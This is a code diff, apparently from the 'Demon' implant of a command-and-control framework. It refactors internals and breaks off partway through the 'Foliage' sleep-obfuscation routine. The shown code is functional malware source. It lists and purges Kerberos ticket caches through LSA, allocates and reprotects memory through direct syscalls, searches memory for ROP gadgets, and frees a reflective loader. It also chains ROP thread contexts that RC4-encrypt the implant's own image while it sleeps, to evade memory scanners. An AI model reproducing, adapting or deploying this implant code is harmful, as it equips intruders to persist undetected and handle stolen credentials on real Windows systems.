@@ -534,7 +534,7 @@ BOOL Purge( HANDLE hToken, LUID luid )
|
||||
goto END;
|
||||
}
|
||||
|
||||
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status );
|
||||
@@ -552,11 +552,11 @@ BOOL Purge( HANDLE hToken, LUID luid )
|
||||
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
|
||||
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus );
|
||||
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus );
|
||||
|
||||
if ( purgeResponse )
|
||||
{
|
||||
Instance.Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL;
|
||||
Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL;
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
@@ -575,7 +575,7 @@ BOOL Purge( HANDLE hToken, LUID luid )
|
||||
|
||||
END:
|
||||
if (hLsa) {
|
||||
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
}
|
||||
MemZero( name, sizeof( name ) );
|
||||
|
||||
@@ -631,10 +631,10 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
|
||||
goto END;
|
||||
}
|
||||
|
||||
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) );
|
||||
PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) );
|
||||
goto END;
|
||||
}
|
||||
|
||||
@@ -652,7 +652,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
|
||||
if ( sessionData->sessionData[i] == NULL )
|
||||
continue;
|
||||
|
||||
NewSession = Instance.Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) );
|
||||
NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) );
|
||||
if ( ! NewSession )
|
||||
continue;
|
||||
|
||||
@@ -677,13 +677,13 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
|
||||
else
|
||||
cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0};
|
||||
|
||||
Instance.Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] );
|
||||
Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] );
|
||||
|
||||
cacheResponse = NULL;
|
||||
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus );
|
||||
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus );
|
||||
if ( ! NT_SUCCESS( status ) )
|
||||
{
|
||||
PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) );
|
||||
PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) );
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -701,7 +701,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
|
||||
|
||||
for ( int j = 0; j < cacheResponse->CountOfTickets; j++ )
|
||||
{
|
||||
TicketInfo = Instance.Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) );
|
||||
TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) );
|
||||
if ( ! TicketInfo )
|
||||
continue;
|
||||
|
||||
@@ -725,20 +725,20 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
|
||||
}
|
||||
}
|
||||
|
||||
Instance.Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL;
|
||||
Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL;
|
||||
}
|
||||
|
||||
ReturnValue = TRUE;
|
||||
|
||||
END:
|
||||
if ( sessionData && sessionData->sessionData ) {
|
||||
Instance.Win32.LocalFree( sessionData->sessionData );
|
||||
Instance->Win32.LocalFree( sessionData->sessionData );
|
||||
}
|
||||
if ( sessionData ) {
|
||||
Instance.Win32.LocalFree( sessionData );
|
||||
Instance->Win32.LocalFree( sessionData );
|
||||
}
|
||||
if ( hLsa ) {
|
||||
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
|
||||
}
|
||||
MemZero( name, sizeof( name ) );
|
||||
|
||||
@@ -758,10 +758,10 @@ LUID* GetLUID( HANDLE hToken )
|
||||
if ( ! hToken )
|
||||
return NULL;
|
||||
|
||||
if ( ! Instance.Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) )
|
||||
if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) )
|
||||
return NULL;
|
||||
|
||||
luid = Instance.Win32.LocalAlloc( LPTR, sizeof( LUID ) );
|
||||
luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) );
|
||||
if ( ! luid )
|
||||
return NULL;
|
||||
|
||||
@@ -1,5 +1,55 @@
|
||||
#include <Demon.h>
|
||||
#include <Core/Memory.h>
|
||||
#include <core/Memory.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* allocate memory on the heap
|
||||
*
|
||||
* @param Length
|
||||
* size of memory to allocate
|
||||
*
|
||||
* @return
|
||||
* allocated buffer pointer on the heap
|
||||
*/
|
||||
PVOID MmHeapAlloc(
|
||||
_In_ ULONG Length
|
||||
) {
|
||||
return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length );
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* allocate memory on the heap
|
||||
*
|
||||
* @param Length
|
||||
* size of memory to reallocate
|
||||
*
|
||||
* @return
|
||||
* allocated buffer pointer on the heap
|
||||
*/
|
||||
PVOID MmHeapReAlloc(
|
||||
_In_ PVOID Memory,
|
||||
_In_ ULONG Length
|
||||
) {
|
||||
return Instance->Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length );
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* free memory on the heap
|
||||
*
|
||||
* @param Memory
|
||||
* memory to free
|
||||
*
|
||||
* @return
|
||||
* if successfully freed memory on the heap
|
||||
*/
|
||||
BOOL MmHeapFree(
|
||||
_In_ PVOID Memory
|
||||
) {
|
||||
return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory );
|
||||
}
|
||||
|
||||
/*!
|
||||
* Allocates virtual memory
|
||||
@@ -9,7 +59,7 @@
|
||||
* @param Protect
|
||||
* @return
|
||||
*/
|
||||
PVOID MemoryAlloc(
|
||||
PVOID MmVirtualAlloc(
|
||||
IN DX_MEMORY Methode,
|
||||
IN HANDLE Process,
|
||||
IN SIZE_T Size,
|
||||
@@ -19,7 +69,7 @@ PVOID MemoryAlloc(
|
||||
PVOID Memory = NULL;
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
|
||||
if ( Instance.Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) {
|
||||
if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) {
|
||||
Package = PackageCreate( DEMON_INFO );
|
||||
PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );
|
||||
}
|
||||
@@ -27,16 +77,16 @@ PVOID MemoryAlloc(
|
||||
switch ( Methode )
|
||||
{
|
||||
case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) {
|
||||
Memory = Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ?
|
||||
MemoryAlloc( Instance.Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that
|
||||
MemoryAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall
|
||||
Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ?
|
||||
MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that
|
||||
MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall
|
||||
|
||||
return Memory;
|
||||
}
|
||||
|
||||
case DX_MEM_WIN32: {
|
||||
PRINTF( "VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => ", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect );
|
||||
Memory = Instance.Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect );
|
||||
Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect );
|
||||
PRINTF( "%p\n", Memory )
|
||||
break;
|
||||
}
|
||||
@@ -44,7 +94,7 @@ PVOID MemoryAlloc(
|
||||
case DX_MEM_SYSCALL: {
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) {
|
||||
PRINTF( "[-] NtAllocateVirtualMemory: Failed:[%lx]\n", NtStatus )
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
Memory = NULL;
|
||||
}
|
||||
|
||||
@@ -58,7 +108,7 @@ PVOID MemoryAlloc(
|
||||
|
||||
PRINTF( "Memory:[%p] MemSize:[%d]\n", Memory, Size );
|
||||
|
||||
if ( Memory && Instance.Config.Implant.Verbose ) {
|
||||
if ( Memory && Instance->Config.Implant.Verbose ) {
|
||||
Package = PackageCreate( DEMON_INFO );
|
||||
PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );
|
||||
PackageAddPtr( Package, Memory );
|
||||
@@ -80,7 +130,7 @@ PVOID MemoryAlloc(
|
||||
* @param Protect
|
||||
* @return
|
||||
*/
|
||||
BOOL MemoryProtect(
|
||||
BOOL MmVirtualProtect(
|
||||
IN DX_MEMORY Method,
|
||||
IN HANDLE Process,
|
||||
IN PVOID Memory,
|
||||
@@ -95,21 +145,21 @@ BOOL MemoryProtect(
|
||||
switch ( Method )
|
||||
{
|
||||
case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) {
|
||||
if ( Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ) {
|
||||
return MemoryProtect( Instance.Config.Memory.Alloc, Process, Memory, Size, Protect );
|
||||
if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) {
|
||||
return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect );
|
||||
} else {
|
||||
return MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect );
|
||||
return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect );
|
||||
}
|
||||
}
|
||||
|
||||
case DX_MEM_WIN32: {
|
||||
Success = Instance.Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect );
|
||||
Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect );
|
||||
break;
|
||||
}
|
||||
|
||||
case DX_MEM_SYSCALL: {
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) {
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
} else {
|
||||
Success = TRUE;
|
||||
}
|
||||
@@ -122,7 +172,7 @@ BOOL MemoryProtect(
|
||||
}
|
||||
}
|
||||
|
||||
if ( Success && Instance.Config.Implant.Verbose ) {
|
||||
if ( Success && Instance->Config.Implant.Verbose ) {
|
||||
Package = PackageCreate( DEMON_INFO );
|
||||
PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT );
|
||||
PackageAddPtr( Package, Memory );
|
||||
@@ -136,7 +186,7 @@ BOOL MemoryProtect(
|
||||
return Success;
|
||||
}
|
||||
|
||||
BOOL MemoryWrite(
|
||||
BOOL MmVirtualWrite(
|
||||
IN HANDLE Process,
|
||||
OUT PVOID Memory,
|
||||
IN PVOID Buffer,
|
||||
@@ -156,38 +206,60 @@ BOOL MemoryWrite(
|
||||
* @param Memory
|
||||
* @return
|
||||
*/
|
||||
BOOL MemoryFree(
|
||||
BOOL MmVirtualFree(
|
||||
IN HANDLE Process,
|
||||
IN PVOID Memory
|
||||
) {
|
||||
SIZE_T Length = 0;
|
||||
MEMORY_INFORMATION_CLASS mic = 0;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
BOOL IsMapped = FALSE;
|
||||
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
|
||||
SIZE_T Length = { 0 };
|
||||
MEMORY_BASIC_INFORMATION MmBasic = { 0 };
|
||||
|
||||
NtStatus = SysNtQueryVirtualMemory(
|
||||
//
|
||||
// query memory type
|
||||
//
|
||||
if ( ! NT_SUCCESS( SysNtQueryVirtualMemory(
|
||||
Process,
|
||||
Memory,
|
||||
mic,
|
||||
&mbi,
|
||||
sizeof(mbi),
|
||||
NULL);
|
||||
if ( NT_SUCCESS ( NtStatus ) )
|
||||
{
|
||||
IsMapped = mbi.Type == MEM_MAPPED;
|
||||
MemoryBasicInformation,
|
||||
&MmBasic,
|
||||
sizeof( MmBasic ),
|
||||
NULL
|
||||
) ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( IsMapped )
|
||||
{
|
||||
//
|
||||
// check if it's a mapped image
|
||||
//
|
||||
if ( ( MmBasic.Type == MEM_MAPPED ) ) {
|
||||
return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) );
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) );
|
||||
}
|
||||
}
|
||||
|
||||
PVOID MmGadgetFind(
|
||||
_In_ PVOID Memory,
|
||||
_In_ SIZE_T Length,
|
||||
_In_ PVOID PatternBuffer,
|
||||
_In_ SIZE_T PatternLength
|
||||
) {
|
||||
/* check if required arguments have been specified */
|
||||
if ( ( ! Memory || ! Length ) ||
|
||||
( ! PatternBuffer || ! PatternLength )
|
||||
) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* now search for gadgets/pattern */
|
||||
for ( SIZE_T Len = 0; Len < Length; Len++ ) {
|
||||
if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) {
|
||||
return C_PTR( U_PTR( Memory ) + Len );
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#ifdef SHELLCODE
|
||||
/*!
|
||||
* Frees the reflective loader
|
||||
@@ -205,6 +277,6 @@ BOOL FreeReflectiveLoader(
|
||||
|
||||
PRINTF( "Freeing the reflective loader at: 0x%p\n", BaseAddress )
|
||||
|
||||
return MemoryFree( NtCurrentProcess(), BaseAddress );
|
||||
return MmVirtualFree( NtCurrentProcess(), BaseAddress );
|
||||
}
|
||||
#endif
|
||||
@@ -1,6 +1,6 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
/*
|
||||
* Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API
|
||||
@@ -302,7 +302,7 @@ UINT64 GetSystemFileTime( )
|
||||
FILETIME ft;
|
||||
LARGE_INTEGER li;
|
||||
|
||||
Instance.Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC
|
||||
Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC
|
||||
li.LowPart = ft.dwLowDateTime;
|
||||
li.HighPart = ft.dwHighDateTime;
|
||||
|
||||
@@ -1,30 +1,16 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Common/Macros.h>
|
||||
#include <Core/SleepObf.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Thread.h>
|
||||
#include <common/Macros.h>
|
||||
#include <core/SleepObf.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Thread.h>
|
||||
|
||||
#include <rpcndr.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#if _WIN64
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PVOID Buffer;
|
||||
} USTRING;
|
||||
|
||||
typedef struct _SLEEP_PARAM
|
||||
{
|
||||
UINT32 TimeOut;
|
||||
PVOID Master;
|
||||
PVOID Slave;
|
||||
} SLEEP_PARAM, *PSLEEP_PARAM ;
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* foliage is a sleep obfuscation technique that is using APC calls
|
||||
@@ -67,17 +53,17 @@ VOID FoliageObf(
|
||||
DWORD dwProtect = PAGE_EXECUTE_READWRITE;
|
||||
SIZE_T TmpValue = 0;
|
||||
|
||||
ImageBase = Instance.Session.ModuleBase;
|
||||
ImageSize = Instance.Session.ModuleSize;
|
||||
ImageBase = Instance->Session.ModuleBase;
|
||||
ImageSize = Instance->Session.ModuleSize;
|
||||
|
||||
// Check if .text section is defined
|
||||
if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) {
|
||||
TxtBase = Instance.Session.TxtBase;
|
||||
TxtSize = Instance.Session.TxtSize;
|
||||
if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) {
|
||||
TxtBase = Instance->Session.TxtBase;
|
||||
TxtSize = Instance->Session.TxtSize;
|
||||
dwProtect = PAGE_EXECUTE_READ;
|
||||
} else {
|
||||
TxtBase = Instance.Session.ModuleBase;
|
||||
TxtSize = Instance.Session.ModuleSize;
|
||||
TxtBase = Instance->Session.ModuleBase;
|
||||
TxtSize = Instance->Session.ModuleSize;
|
||||
}
|
||||
|
||||
// Generate random keys
|
||||
@@ -92,22 +78,22 @@ VOID FoliageObf(
|
||||
|
||||
if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) )
|
||||
{
|
||||
if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) )
|
||||
if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) )
|
||||
{
|
||||
RopInit = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopCap = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSpoof = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopInit = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopCap = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSpoof = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
|
||||
RopBegin = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetMemRw = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopMemEnc = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopGetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopWaitObj = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopMemDec = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetMemRx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetCtx2 = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopExitThd = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopBegin = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopMemEnc = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopGetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopWaitObj = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopMemDec = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopSetCtx2 = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
RopExitThd = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
|
||||
|
||||
RopInit->ContextFlags = CONTEXT_FULL;
|
||||
RopCap->ContextFlags = CONTEXT_FULL;
|
||||
@@ -126,7 +112,7 @@ VOID FoliageObf(
|
||||
|
||||
if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) )
|
||||
{
|
||||
if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( hThread, RopInit ) ) )
|
||||
if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) )
|
||||
{
|
||||
MemCopy( RopBegin, RopInit, sizeof( CONTEXT ) );
|
||||
MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) );
|
||||
@@ -140,111 +126,111 @@ VOID FoliageObf(
|
||||
MemCopy( RopExitThd, RopInit, sizeof( CONTEXT ) );
|
||||
|
||||
RopBegin->ContextFlags = CONTEXT_FULL;
|
||||
RopBegin->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject );
|
||||
RopBegin->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject );
|
||||
RopBegin->Rsp -= U_PTR( 0x1000 * 13 );
|
||||
RopBegin->Rcx = U_PTR( hEvent );
|
||||
RopBegin->Rdx = U_PTR( FALSE );
|
||||
RopBegin->R8 = U_PTR( NULL );
|
||||
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// NtWaitForSingleObject( Evt, FALSE, NULL )
|
||||
|
||||
RopSetMemRw->ContextFlags = CONTEXT_FULL;
|
||||
RopSetMemRw->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory );
|
||||
RopSetMemRw->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory );
|
||||
RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 );
|
||||
RopSetMemRw->Rcx = U_PTR( NtCurrentProcess() );
|
||||
RopSetMemRw->Rdx = U_PTR( &ImageBase );
|
||||
RopSetMemRw->R8 = U_PTR( &ImageSize );
|
||||
RopSetMemRw->R9 = U_PTR( PAGE_READWRITE );
|
||||
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue );
|
||||
// NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL, );
|
||||
|
||||
RopMemEnc->ContextFlags = CONTEXT_FULL;
|
||||
RopMemEnc->Rip = U_PTR( Instance.Win32.SystemFunction032 );
|
||||
RopMemEnc->Rip = U_PTR( Instance->Win32.SystemFunction032 );
|
||||
RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 );
|
||||
RopMemEnc->Rcx = U_PTR( &Rc4 );
|
||||
RopMemEnc->Rdx = U_PTR( &Key );
|
||||
*( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// SystemFunction032( &Rc4, &Key ); RC4 Encryption
|
||||
|
||||
RopGetCtx->ContextFlags = CONTEXT_FULL;
|
||||
RopGetCtx->Rip = U_PTR( Instance.Win32.NtGetContextThread );
|
||||
RopGetCtx->Rip = U_PTR( Instance->Win32.NtGetContextThread );
|
||||
RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 );
|
||||
RopGetCtx->Rcx = U_PTR( hDupObj );
|
||||
RopGetCtx->Rdx = U_PTR( RopCap );
|
||||
*( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// NtGetContextThread( Src, Cap );
|
||||
|
||||
RopSetCtx->ContextFlags = CONTEXT_FULL;
|
||||
RopSetCtx->Rip = U_PTR( Instance.Win32.NtSetContextThread );
|
||||
RopSetCtx->Rip = U_PTR( Instance->Win32.NtSetContextThread );
|
||||
RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 );
|
||||
RopSetCtx->Rcx = U_PTR( hDupObj );
|
||||
RopSetCtx->Rdx = U_PTR( RopSpoof );
|
||||
*( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// NtSetContextThread( Src, Spf );
|
||||
|
||||
// NOTE: Here is the thread sleeping...
|
||||
RopWaitObj->ContextFlags = CONTEXT_FULL;
|
||||
RopWaitObj->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
|
||||
RopWaitObj->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx );
|
||||
RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 );
|
||||
RopWaitObj->Rcx = U_PTR( hDupObj );
|
||||
RopWaitObj->Rdx = U_PTR( Param->TimeOut );
|
||||
RopWaitObj->R8 = U_PTR( FALSE );
|
||||
*( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// WaitForSingleObjectEx( Src, Fbr->Time, FALSE );
|
||||
|
||||
// NOTE: thread image decryption
|
||||
RopMemDec->ContextFlags = CONTEXT_FULL;
|
||||
RopMemDec->Rip = U_PTR( Instance.Win32.SystemFunction032 );
|
||||
RopMemDec->Rip = U_PTR( Instance->Win32.SystemFunction032 );
|
||||
RopMemDec->Rsp -= U_PTR( 0x1000 * 7 );
|
||||
RopMemDec->Rcx = U_PTR( &Rc4 );
|
||||
RopMemDec->Rdx = U_PTR( &Key );
|
||||
*( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// SystemFunction032( &Rc4, &Key ); Rc4 Decryption
|
||||
|
||||
// RW -> RWX
|
||||
RopSetMemRx->ContextFlags = CONTEXT_FULL;
|
||||
